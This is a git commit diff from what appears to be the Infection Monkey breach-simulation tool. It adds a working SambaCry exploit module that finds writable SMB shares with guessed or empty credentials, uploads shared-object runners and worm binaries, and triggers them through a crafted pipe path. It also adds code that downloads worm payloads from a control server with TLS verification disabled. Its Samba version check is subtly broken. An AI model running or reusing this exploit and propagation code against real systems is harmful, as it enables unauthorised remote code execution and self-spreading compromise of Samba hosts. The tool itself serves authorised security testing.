Merge remote-tracking branch 'origin/develop' into feature/refactor-monkey-island

# Conflicts:
#	monkey_island/cc/main.py
This commit is contained in:
Itay Mizeretz 2017-09-06 16:54:27 +03:00
commit 5e9c7eedbb
17 changed files with 787 additions and 60 deletions

View File

@ -1,7 +1,8 @@
import os import os
import sys import sys
from network.range import FixedRange, RelativeRange, ClassCRange from network.range import FixedRange, RelativeRange, ClassCRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\
SambaCryExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
from abc import ABCMeta from abc import ABCMeta
from itertools import product from itertools import product
@ -141,7 +142,7 @@ class Configuration(object):
scanner_class = TcpScanner scanner_class = TcpScanner
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger] finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
SSHExploiter, ShellShockExploiter # Linux SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux
] ]
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration
@ -219,10 +220,33 @@ class Configuration(object):
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds
smb_service_name = "InfectionMonkey" smb_service_name = "InfectionMonkey"
# Timeout (in seconds) for sambacry's trigger to yield results.
sambacry_trigger_timeout = 5
# Folder paths to guess share lies inside.
sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
# Shares to not check if they're writable.
sambacry_shares_not_to_check = ["IPC$", "print$"]
# Name of file which contains the monkey's commandline
sambacry_commandline_filename = "monkey_commandline.txt"
# Name of file which contains the runner's result
sambacry_runner_result_filename = "monkey_runner_result"
# SambaCry runner filename (32 bit)
sambacry_runner_filename_32 = "sc_monkey_runner32.so"
# SambaCry runner filename (64 bit)
sambacry_runner_filename_64 = "sc_monkey_runner64.so"
# Monkey filename on share (32 bit)
sambacry_monkey_filename_32 = "monkey32"
# Monkey filename on share (64 bit)
sambacry_monkey_filename_64 = "monkey64"
# Monkey copy filename on share (32 bit)
sambacry_monkey_copy_filename_32 = "monkey32_2"
# Monkey copy filename on share (64 bit)
sambacry_monkey_copy_filename_64 = "monkey64_2"
# system info collection # system info collection
collect_system_info = True collect_system_info = True
########################### ###########################
# systeminfo config # systeminfo config
########################### ###########################

View File

@ -156,22 +156,50 @@ class ControlClient(object):
@staticmethod @staticmethod
def download_monkey_exe(host): def download_monkey_exe(host):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def download_monkey_exe_by_os(is_windows, is_32bit):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
ControlClient.spoof_host_os_info(is_windows, is_32bit))
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def spoof_host_os_info(is_windows, is_32bit):
if is_windows:
os = "windows"
if is_32bit:
arch = "x86"
else:
arch = "amd64"
else:
os = "linux"
if is_32bit:
arch = "i686"
else:
arch = "x86_64"
return \
{
"os":
{
"type": os,
"machine": arch
}
}
@staticmethod
def download_monkey_exe_by_filename(filename, size):
if not WormConfiguration.current_server: if not WormConfiguration.current_server:
return None return None
try: try:
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host.as_dict()),
headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies)
if 200 == reply.status_code:
result_json = reply.json()
filename = result_json.get('filename')
if not filename:
return None
size = result_json.get('size')
dest_file = monkeyfs.virtual_path(filename) dest_file = monkeyfs.virtual_path(filename)
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file): if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
return dest_file return dest_file
else: else:
download = requests.get("https://%s/api/monkey/download/%s" % download = requests.get("https://%s/api/monkey/download/%s" %
@ -191,7 +219,35 @@ class ControlClient(object):
LOG.warn("Error connecting to control server %s: %s", LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc) WormConfiguration.current_server, exc)
return None @staticmethod
def get_monkey_exe_filename_and_size_by_host(host):
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
@staticmethod
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
if not WormConfiguration.current_server:
return None, None
try:
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host_dict),
headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies)
if 200 == reply.status_code:
result_json = reply.json()
filename = result_json.get('filename')
if not filename:
return None, None
size = result_json.get('size')
return filename, size
else:
return None, None
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return None, None
@staticmethod @staticmethod
def create_control_tunnel(): def create_control_tunnel():

View File

@ -6,9 +6,13 @@ import shutil
import pprint import pprint
import logging import logging
import subprocess import subprocess
import argparse
from ctypes import c_char_p from ctypes import c_char_p
from model import MONKEY_CMDLINE
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from config import WormConfiguration from config import WormConfiguration
from system_info import SystemInfoCollector, OperatingSystem
if "win32" == sys.platform: if "win32" == sys.platform:
from win32process import DETACHED_PROCESS from win32process import DETACHED_PROCESS
@ -24,14 +28,27 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4
class MonkeyDrops(object): class MonkeyDrops(object):
def __init__(self, args): def __init__(self, args):
self._monkey_args = args[1:] arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth')
arg_parser.add_argument('-l', '--location')
self.monkey_args = args[1:]
self.opts, _ = arg_parser.parse_known_args(args)
self._config = {'source_path': os.path.abspath(sys.argv[0]), self._config = {'source_path': os.path.abspath(sys.argv[0]),
'destination_path': args[0]} 'destination_path': self.opts.location}
def initialize(self): def initialize(self):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
def start(self): def start(self):
if self._config['destination_path'] is None:
LOG.error("No destination path specified")
return
# we copy/move only in case path is different # we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
@ -78,11 +95,19 @@ class MonkeyDrops(object):
except: except:
LOG.warn("Cannot set reference date to destination file") LOG.warn("Cannot set reference date to destination file")
monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'], monkey_options = build_monkey_commandline_explicitly(
} self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth))
if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
else:
dest_path = self._config['destination_path']
# In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
# runs the monkey
inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
'monkey_commandline': inner_monkey_cmdline}
if 0 != len(self._monkey_args):
monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args))
monkey_process = subprocess.Popen(monkey_cmdline, shell=True, monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None, stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS) close_fds=True, creationflags=DETACHED_PROCESS)

View File

@ -58,9 +58,20 @@
"serialize_config": false, "serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": true, "skip_exploit_if_file_exist": true,
"local_network_scan": true,
"exploit_user_list": [], "exploit_user_list": [],
"exploit_password_list" = [] "exploit_password_list": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],
"sambacry_commandline_filename": "monkey_commandline.txt",
"sambacry_runner_result_filename": "monkey_runner_result",
"sambacry_runner_filename_32": "sc_monkey_runner32.so",
"sambacry_runner_filename_64": "sc_monkey_runner64.so",
"sambacry_monkey_filename_32": "monkey32",
"sambacry_monkey_filename_64": "monkey64",
"sambacry_monkey_copy_filename_32": "monkey32_2",
"sambacry_monkey_copy_filename_64": "monkey64_2",
"local_network_scan": false,
"tcp_scan_get_banner": true, "tcp_scan_get_banner": true,
"tcp_scan_interval": 200, "tcp_scan_interval": 200,
"tcp_scan_timeout": 10000, "tcp_scan_timeout": 10000,

View File

@ -20,3 +20,4 @@ from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter from sshexec import SSHExploiter
from shellshock import ShellShockExploiter from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter

View File

@ -0,0 +1,410 @@
import logging
import re
import sys
import time
from io import BytesIO
from os import path
import itertools
import posixpath
import impacket.smbconnection
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb import SessionError
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
from impacket.smbconnection import SMBConnection
import monkeyfs
from exploit import HostExploiter
from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class SambaCryExploiter(HostExploiter):
"""
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
"""
_target_os_type = ['linux']
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host):
return False
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
LOG.info("Writable shares and their credentials on host %s: %s" %
(host.ip_addr, str(writable_shares_creds_dict)))
host.services[SMB_SERVICE]["shares"] = {}
for share in writable_shares_creds_dict:
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
# Wait for samba server to load .so, execute code and create result file.
time.sleep(self._config.sambacry_trigger_timeout)
successfully_triggered_shares = []
for share in writable_shares_creds_dict:
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares:
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
return True
else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
return False
def try_exploit_share(self, host, share, creds, depth):
"""
Tries exploiting share
:param host: victim Host object
:param share: share name
:param creds: credentials to use with share
:param depth: current depth of monkey
"""
try:
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, depth)
self.trigger_module(smb_client, share)
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds):
"""
Cleans remote share of any remaining files created by monkey
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename,
self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64,
self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64,
self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64]
for filename in file_list:
try:
smb_client.deleteFile(share, "\\%s" % filename)
except (impacket.smbconnection.SessionError, SessionError):
# Ignore exception to try and delete as much as possible
pass
smb_client.disconnectTree(tree_id)
smb_client.close()
def get_trigger_result(self, ip, share, creds):
"""
Checks if the trigger yielded any result and returns it.
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
:return: result of trigger if there was one. None otherwise
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_content = None
try:
file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename,
desiredAccess=FILE_READ_DATA)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
except (impacket.smbconnection.SessionError, SessionError):
pass
smb_client.disconnectTree(tree_id)
smb_client.close()
return file_content
def get_writable_shares_creds_dict(self, ip):
"""
Gets dictionary of writable shares and their credentials
:param ip: IP address of the victim
:return: Dictionary of writable shares and their corresponding credentials.
"""
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list()
for credentials in credentials_list:
try:
smb_client = self.connect_to_server(ip, credentials)
shares = self.list_shares(smb_client)
# don't try shares we can already write to.
for share in [x for x in shares if x not in writable_shares_creds_dict]:
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
# If failed using some credentials, try others.
pass
return writable_shares_creds_dict
def get_credentials_list(self):
user_password_pairs = self._config.get_exploit_user_password_pairs()
# Add empty credentials for anonymous shares.
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
for user, password in user_password_pairs:
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
return credentials_list
def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
def is_vulnerable(self, host):
"""
Checks whether the victim runs a possibly vulnerable version of samba
:param host: victim Host object
:return: True if victim is vulnerable, False otherwise
"""
if SMB_SERVICE not in host.services:
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
return False
pattern = re.compile(r'\d*\.\d*\.\d*')
smb_server_name = host.services[SMB_SERVICE].get('name')
samba_version = "unknown"
pattern_result = pattern.search(smb_server_name)
is_vulnerable = False
if pattern_result is not None:
samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
samba_version_parts = samba_version.split('.')
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
return is_vulnerable
def is_share_writable(self, smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug('Checking %s for write access' % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
def upload_module(self, smb_client, host, share, depth):
"""
Uploads the module and all relevant files to server
:param smb_client: smb client object
:param host: victim Host object
:param share: share name
:param depth: current depth of monkey
"""
tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id)
def connect_to_server(self, ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
def trigger_module(self, smb_client, share):
"""
Tries triggering module
:param smb_client: smb client object
:param share: share name
:return: True if might triggered successfully, False otherwise.
"""
trigger_might_succeeded = False
module_possible_paths = self.generate_module_possible_paths(share)
for module_path in module_possible_paths:
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
return trigger_might_succeeded
def trigger_module_by_path(self, smb_client, module_path):
"""
Tries triggering module by path
:param smb_client: smb client object
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
:return: True if might triggered successfully, False otherwise.
"""
try:
# the extra / on the beginning is required for the vulnerability
self.open_pipe(smb_client, "/" + module_path)
except (impacket.smbconnection.SessionError, SessionError) as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
return True
else:
pass
return False
def generate_module_possible_paths(self, share_name):
"""
Generates array of possible paths
:param share_name: Name of the share
:return: Array of possible full paths to the module.
"""
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb")
else:
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
packet = smb_client.getSMBServer().SMB_PACKET()
packet['Command'] = SMB2_CREATE
packet['TreeID'] = treeId
if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
smb2Create = SMB2Create()
smb2Create['SecurityFlags'] = 0
smb2Create['RequestedOplockLevel'] = oplockLevel
smb2Create['ImpersonationLevel'] = impersonationLevel
smb2Create['DesiredAccess'] = desiredAccess
smb2Create['FileAttributes'] = fileAttributes
smb2Create['ShareAccess'] = shareMode
smb2Create['CreateDisposition'] = creationDisposition
smb2Create['CreateOptions'] = creationOptions
smb2Create['NameLength'] = len(fileName) * 2
if fileName != '':
smb2Create['Buffer'] = fileName.encode('utf-16le')
else:
smb2Create['Buffer'] = '\x00'
if createContexts is not None:
smb2Create['Buffer'] += createContexts
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
smb2Create['CreateContextsLength'] = len(createContexts)
else:
smb2Create['CreateContextsOffset'] = 0
smb2Create['CreateContextsLength'] = 0
packet['Data'] = smb2Create
packetID = smb_client.getSMBServer().sendSMB(packet)
ans = smb_client.getSMBServer().recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
createResponse = SMB2Create_Response(ans['Data'])
# The client MUST generate a handle for the Open, and it MUST
# return success and the generated handle to the calling application.
# In our case, str(FileID)
return str(createResponse['FileID'])
def open_pipe(self, smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$')
LOG.debug('Triggering path: %s' % pathName)
if smb_client.getDialect() == SMB_DIALECT:
_, flags2 = smb_client.getSMBServer().get_flags()
pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
ntCreate['Parameters']['FileNameLength'] = len(pathName)
ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
ntCreate['Parameters']['FileAttributes'] = 0
ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
ntCreate['Parameters']['SecurityFlags'] = 0
ntCreate['Parameters']['CreateFlags'] = 0x16
ntCreate['Data']['FileName'] = pathName
if flags2 & SMB.FLAGS2_UNICODE:
ntCreate['Data']['Pad'] = 0x0
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)

View File

@ -1,7 +1,7 @@
import sys import sys
from logging import getLogger from logging import getLogger
from model.host import VictimHost from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from exploit import HostExploiter from exploit import HostExploiter
from network.tools import check_port_tcp from network.tools import check_port_tcp
from exploit.tools import SmbTools, get_target_monkey from exploit.tools import SmbTools, get_target_monkey
@ -99,9 +99,9 @@ class SmbExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path} cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path}
else: else:
cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path} cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1) cmdline += build_monkey_commandline(host, depth - 1)

View File

@ -443,26 +443,46 @@ def get_target_monkey(host):
return monkey_path return monkey_path
def build_monkey_commandline(target_host, depth): def get_target_monkey_by_os(is_windows, is_32bit):
from config import WormConfiguration, GUID from control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = "" cmdline = ""
cmdline += " -p " + GUID
if target_host.default_tunnel: if parent is not None:
cmdline += " -t " + target_host.default_tunnel cmdline += " -p " + parent
if target_host.default_server: if tunnel is not None:
cmdline += " -s " + target_host.default_server cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0: if depth < 0:
depth = 0 depth = 0
cmdline += " -d %d" % depth cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password): def report_failed_login(exploiter, machine, user, password):
from control import ControlClient from control import ControlClient
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}) 'user': user, 'password': password})
def get_binaries_dir_path():
if getattr(sys, 'frozen', False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))

View File

@ -12,7 +12,7 @@ import socket
from enum import IntEnum from enum import IntEnum
from logging import getLogger from logging import getLogger
from model.host import VictimHost from model.host import VictimHost
from model import DROPPER_CMDLINE, MONKEY_CMDLINE from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from . import HostExploiter from . import HostExploiter
from exploit.tools import SmbTools, get_target_monkey from exploit.tools import SmbTools, get_target_monkey
from network.tools import check_port_tcp from network.tools import check_port_tcp
@ -249,9 +249,9 @@ class Ms08_067_Exploiter(HostExploiter):
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path}
else: else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1) cmdline += build_monkey_commandline(host, depth - 1)

View File

@ -3,7 +3,7 @@ import ntpath
import logging import logging
import traceback import traceback
from tools import build_monkey_commandline from tools import build_monkey_commandline
from model import DROPPER_CMDLINE, MONKEY_CMDLINE from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost from model.host import VictimHost
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
@ -84,9 +84,9 @@ class WmiExploiter(HostExploiter):
return False return False
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower(): elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path}
else: else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1) cmdline += build_monkey_commandline(host, depth - 1)

View File

@ -4,10 +4,12 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y" MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r" DROPPER_ARG = "dr0pp3r"
DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
